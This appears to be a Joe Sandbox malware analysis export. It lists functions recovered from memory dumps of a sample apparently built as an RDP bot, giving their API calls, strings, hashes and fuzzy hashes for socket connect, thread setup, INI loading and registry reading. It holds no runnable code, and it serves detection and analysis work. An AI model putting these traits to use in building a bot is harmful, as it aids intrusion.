Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 140c814d8350784d58d8024ff37c9b0f12ab94c9893da5a29beb4d75926b9086
Instruction ID: de474c9d2c9ad6b980b99baed5f8b6aa1678db97d3a3f7e6e52bb6d4fb79f21f
Opcode Fuzzy Hash: 140c814d8350784d58d8024ff37c9b0f12ab94c9893da5a29beb4d75926b9086
Instruction Fuzzy Hash: A851A021B0C6C242EA205F5EE8803B97651EF447F4F141376EA6E476E6EE7CE506B701

Function 00007FF8BFB526AC Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BFB526D0
htonl.WS2_32 ref: 00007FF8BFB5276C
htons.WS2_32 ref: 00007FF8BFB5277D
connect.WS2_32 ref: 00007FF8BFB52796
WSAGetLastError.WS2_32 ref: 00007FF8BFB527BC
select.WS2_32 ref: 00007FF8BFB5282C
WSAGetLastError.WS2_32 ref: 00007FF8BFB5283C
WSAGetLastError.WS2_32 ref: 00007FF8BFB5287E

Part of subcall function 00007FF8BFB52349: ioctlsocket.WS2_32 ref: 00007FF8BFB5236F

Part of subcall function 00007FF8BFB52294: setsockopt.WS2_32 ref: 00007FF8BFB522BC
Part of subcall function 00007FF8BFB52294: setsockopt.WS2_32 ref: 00007FF8BFB522E8

WSAGetLastError.WS2_32 ref: 00007FF8BFB528AB

Strings

[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB528C3
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB5284F
tcp_connect, xrefs: 00007FF8BFB5272D, 00007FF8BFB52848, 00007FF8BFB52866, 00007FF8BFB52893, 00007FF8BFB528BC, 00007FF8BFB528E6
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BFB528ED
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8BFB5286D
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB5289A
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8BFB52734

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 48bcb164c9fc3a4126ab8f11bb80280af38d06ad61882bf559dc1bdf0a13afbf
Instruction ID: 0af79300722918e36015c8b8e59689991538625a6491e75bffb0e3765fa95fc6
Opcode Fuzzy Hash: 48bcb164c9fc3a4126ab8f11bb80280af38d06ad61882bf559dc1bdf0a13afbf
Instruction Fuzzy Hash: D051A221A0D64292FA209FADE820679B750EF967E4F140335EB2D47AE5EE7CF9058700

Function 00007FF8BFB81C3C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BFB81C60
htonl.WS2_32 ref: 00007FF8BFB81CFC
htons.WS2_32 ref: 00007FF8BFB81D0D
connect.WS2_32 ref: 00007FF8BFB81D26
WSAGetLastError.WS2_32 ref: 00007FF8BFB81D4C
select.WS2_32 ref: 00007FF8BFB81DBC
WSAGetLastError.WS2_32 ref: 00007FF8BFB81DCC
WSAGetLastError.WS2_32 ref: 00007FF8BFB81E0E

Part of subcall function 00007FF8BFB818D9: ioctlsocket.WS2_32 ref: 00007FF8BFB818FF

Part of subcall function 00007FF8BFB81824: setsockopt.WS2_32 ref: 00007FF8BFB8184C
Part of subcall function 00007FF8BFB81824: setsockopt.WS2_32 ref: 00007FF8BFB81878

WSAGetLastError.WS2_32 ref: 00007FF8BFB81E3B

Strings

[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8BFB81CC4
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB81DDF
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB81E2A
tcp_connect, xrefs: 00007FF8BFB81CBD, 00007FF8BFB81DD8, 00007FF8BFB81DF6, 00007FF8BFB81E23, 00007FF8BFB81E4C, 00007FF8BFB81E76
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BFB81E7D
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB81E53
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8BFB81DFD

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 8f4af5b9be33e707085e38c83d552142371c392916469796192cdc7cbced4af1
Instruction ID: 97a53e246706e74a661dee50ec7589796c367e2b6a0b2d83f33e373b99cdf991
Opcode Fuzzy Hash: 8f4af5b9be33e707085e38c83d552142371c392916469796192cdc7cbced4af1
Instruction Fuzzy Hash: 8251D361A0E64282FA249FEDE8002B97350AFC57E4F148335DB6E87AD6EE7CE405C700

Function 00007FF8BA4F1D21 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BA4F1D3C
CreateThread.KERNEL32 ref: 00007FF8BA4F1D7C
GetLastError.KERNEL32 ref: 00007FF8BA4F1DC4
GetLastError.KERNEL32 ref: 00007FF8BA4F1E9C

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

[I] (%s) -> %s, xrefs: 00007FF8BA4F1FA3
, xrefs: 00007FF8BA4F1DE2
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8BA4F1DD6
, xrefs: 00007FF8BA4F1EBA
~, xrefs: 00007FF8BA4F1EE2
P, xrefs: 00007FF8BA4F1E4B
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8BA4F1EAE
Done, xrefs: 00007FF8BA4F1F95
~, xrefs: 00007FF8BA4F1E42
ebus_init, xrefs: 00007FF8BA4F1DA9, 00007FF8BA4F1DCF, 00007FF8BA4F1EA7, 00007FF8BA4F1F9C
P, xrefs: 00007FF8BA4F1EE7
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA4F1DB0

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: f00f92d452ba0ff8bb84cbfee4095df9768404c10da2e6ff7e6b6f0979107802
Instruction ID: 533fb7e0412b4342545e5949de53efe37aa7aca2835d2d2ddb604ac18b7de31c
Opcode Fuzzy Hash: f00f92d452ba0ff8bb84cbfee4095df9768404c10da2e6ff7e6b6f0979107802
Instruction Fuzzy Hash: EF510620A0D70382FB74575CA8C43782661AF173E4F6427B7CF2E462E1DF6EBA859215

Function 00007FF8B9151D21 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B9151D3C
CreateThread.KERNEL32 ref: 00007FF8B9151D7C
GetLastError.KERNEL32 ref: 00007FF8B9151DC4
GetLastError.KERNEL32 ref: 00007FF8B9151E9C

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

~, xrefs: 00007FF8B9151E42
ebus_init, xrefs: 00007FF8B9151DA9, 00007FF8B9151DCF, 00007FF8B9151EA7, 00007FF8B9151F9C
, xrefs: 00007FF8B9151DE2
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8B9151EAE
~, xrefs: 00007FF8B9151EE2
P, xrefs: 00007FF8B9151E4B
P, xrefs: 00007FF8B9151EE7
, xrefs: 00007FF8B9151EBA
[I] (%s) -> %s, xrefs: 00007FF8B9151FA3
Done, xrefs: 00007FF8B9151F95
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9151DB0
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8B9151DD6

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 1286dc77dc5ff8d206b4c73fae07ba457630e6e20bbab24515aaab937f7757d7
Instruction ID: 439605a239a1357b075b33eedc372639c47cc1df4772bc1f6d6864ff7e16bfdc
Opcode Fuzzy Hash: 1286dc77dc5ff8d206b4c73fae07ba457630e6e20bbab24515aaab937f7757d7
Instruction Fuzzy Hash: 0551F720E0C7C382FA225F1CA4A437866529F053E5F668736C76E462E1DF6DF989B301

Function 00007FF8B918F401 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B918F41C
CreateThread.KERNEL32 ref: 00007FF8B918F45C
GetLastError.KERNEL32 ref: 00007FF8B918F4A4
GetLastError.KERNEL32 ref: 00007FF8B918F57C

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8B918F58E
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B918F490
[I] (%s) -> %s, xrefs: 00007FF8B918F683
~, xrefs: 00007FF8B918F5C2
P, xrefs: 00007FF8B918F5C7
P, xrefs: 00007FF8B918F52B
, xrefs: 00007FF8B918F4C2
ebus_init, xrefs: 00007FF8B918F489, 00007FF8B918F4AF, 00007FF8B918F587, 00007FF8B918F67C
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8B918F4B6
Done, xrefs: 00007FF8B918F675
~, xrefs: 00007FF8B918F522
, xrefs: 00007FF8B918F59A

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 6b8a36cc971b699367ac3bf5157fbd41f4ace45a84db308636fec646c69488e6
Instruction ID: 3df02d1f11550c651cfb7ddace372933f4cea60f761bd2cd95179f2619654079
Opcode Fuzzy Hash: 6b8a36cc971b699367ac3bf5157fbd41f4ace45a84db308636fec646c69488e6
Instruction Fuzzy Hash: 97512A60A0C7C782F7215F1CA4C43782251AF153F4F760336DB6E463E2DE6DA986B282

Function 00007FF8BFB53B21 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB53B3C
CreateThread.KERNEL32 ref: 00007FF8BFB53B7C
GetLastError.KERNEL32 ref: 00007FF8BFB53BC4
GetLastError.KERNEL32 ref: 00007FF8BFB53C9C

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

, xrefs: 00007FF8BFB53CBA
P, xrefs: 00007FF8BFB53C4B
Done, xrefs: 00007FF8BFB53D95
[I] (%s) -> %s, xrefs: 00007FF8BFB53DA3
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB53BB0
~, xrefs: 00007FF8BFB53C42
P, xrefs: 00007FF8BFB53CE7
ebus_init, xrefs: 00007FF8BFB53BA9, 00007FF8BFB53BCF, 00007FF8BFB53CA7, 00007FF8BFB53D9C
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8BFB53BD6
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8BFB53CAE
~, xrefs: 00007FF8BFB53CE2
, xrefs: 00007FF8BFB53BE2

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 9f20d362d937536f0ee4103508d9b1139d0d6585478f89b21611969e913930d6
Instruction ID: 34251e4118015d1a3cd8e34aa02af7461437978ae0d5fac4d080070c235717f1
Opcode Fuzzy Hash: 9f20d362d937536f0ee4103508d9b1139d0d6585478f89b21611969e913930d6
Instruction Fuzzy Hash: 45512666A0C74392FA2057DCA4E53786362AF053F5F280632C76E063E1DE6EB9A58711

Function 00007FF8BFB89FE1 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB89FFC
CreateThread.KERNEL32 ref: 00007FF8BFB8A03C
GetLastError.KERNEL32 ref: 00007FF8BFB8A084
GetLastError.KERNEL32 ref: 00007FF8BFB8A15C

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB8A070
Done, xrefs: 00007FF8BFB8A255
[I] (%s) -> %s, xrefs: 00007FF8BFB8A263
~, xrefs: 00007FF8BFB8A102
ebus_init, xrefs: 00007FF8BFB8A069, 00007FF8BFB8A08F, 00007FF8BFB8A167, 00007FF8BFB8A25C
P, xrefs: 00007FF8BFB8A10B
, xrefs: 00007FF8BFB8A0A2
, xrefs: 00007FF8BFB8A17A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8BFB8A096
~, xrefs: 00007FF8BFB8A1A2
P, xrefs: 00007FF8BFB8A1A7
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8BFB8A16E

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 0b0dd3b090767c9c6ff8a136659d1bb65f72dbfd72b78c7ca576c1129c5fc752
Instruction ID: 7029d1a61f42383389ed57fb7f42d51e057ae3b48eec118ce04ae9991a799835
Opcode Fuzzy Hash: 0b0dd3b090767c9c6ff8a136659d1bb65f72dbfd72b78c7ca576c1129c5fc752
Instruction Fuzzy Hash: 4B51F210A0C74792FB706BDC94C43B8A3599F857E5F644336C72E562D3EE9EA885D301

Function 00007FF6BE036242 Relevance: 27.2, APIs: 7, Strings: 11, Instructions: 241memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BE0484F0,00000000,00000000), ref: 00007FF6BE03628D
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BE0484F0,00000000,00000000), ref: 00007FF6BE03629E

Part of subcall function 00007FF6BE032515: fopen.MSVCRT ref: 00007FF6BE03255A
Part of subcall function 00007FF6BE032515: fseek.MSVCRT ref: 00007FF6BE032579
Part of subcall function 00007FF6BE032515: _errno.MSVCRT ref: 00007FF6BE03258D
Part of subcall function 00007FF6BE032515: _errno.MSVCRT ref: 00007FF6BE0325A8

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BE0484F0,00000000,00000000), ref: 00007FF6BE0363CA
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BE0484F0,00000000,00000000), ref: 00007FF6BE0363DB
strncpy.MSVCRT ref: 00007FF6BE03651C
strncpy.MSVCRT ref: 00007FF6BE036533
strncpy.MSVCRT ref: 00007FF6BE036592

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

[I] (%s) -> Done(path=%s), xrefs: 00007FF6BE0365F8
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF6BE0362FD
NULL, xrefs: 00007FF6BE0365E2
service, xrefs: 00007FF6BE03624D
mem_alloc, xrefs: 00007FF6BE036423
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE036312
5, xrefs: 00007FF6BE0362F5
ini_load, xrefs: 00007FF6BE0362CF, 00007FF6BE03630B, 00007FF6BE0365F1
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE0362D6
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF6BE03642A
(path != NULL), xrefs: 00007FF6BE036304

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Heap$strncpy$Process_errno$AllocFreefflushfopenfseekfwrite
String ID: (path != NULL)$5$H:/Projects/rdp/bot/codebase/ini.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(path=%s)$ini_load$mem_alloc$service
API String ID: 1423203057-595982613
Opcode ID: 80942592db8f3c253b1855c65e91fcdc3096fbaa6f48945d97735cc1c0d4eca0
Instruction ID: 96ee7a4bf8d00ee03678c203f215bf41c92880a4e349fc34cab30f0307e787ad
Opcode Fuzzy Hash: 80942592db8f3c253b1855c65e91fcdc3096fbaa6f48945d97735cc1c0d4eca0
Instruction Fuzzy Hash: 70A19F62B0968281EB30CB59F840BB96B61EB79B84F498036FF4D87695DE2DE565C300

Function 00007FF6BE035602 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6BE03565C
RegQueryValueExA.KERNEL32 ref: 00007FF6BE0357A4

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

(value_sz != NULL), xrefs: 00007FF6BE035762
(key != NULL), xrefs: 00007FF6BE0356FC
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE035A9B
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF6BE0357D2
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF6BE0356C2, 00007FF6BE0356F5, 00007FF6BE035728, 00007FF6BE03575B
registry_get_value, xrefs: 00007FF6BE035677, 00007FF6BE0356D0, 00007FF6BE035703, 00007FF6BE035736, 00007FF6BE035769, 00007FF6BE0357CB, 00007FF6BE035916, 00007FF6BE035A94
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE03591D
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF6BE03567E
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0356D7, 00007FF6BE03570A, 00007FF6BE03573D, 00007FF6BE035770
NULL, xrefs: 00007FF6BE0357FE, 00007FF6BE035AAC, 00007FF6BE035AB8
(root != NULL), xrefs: 00007FF6BE0356C9
(value != NULL), xrefs: 00007FF6BE03572F

Memory Dump Source

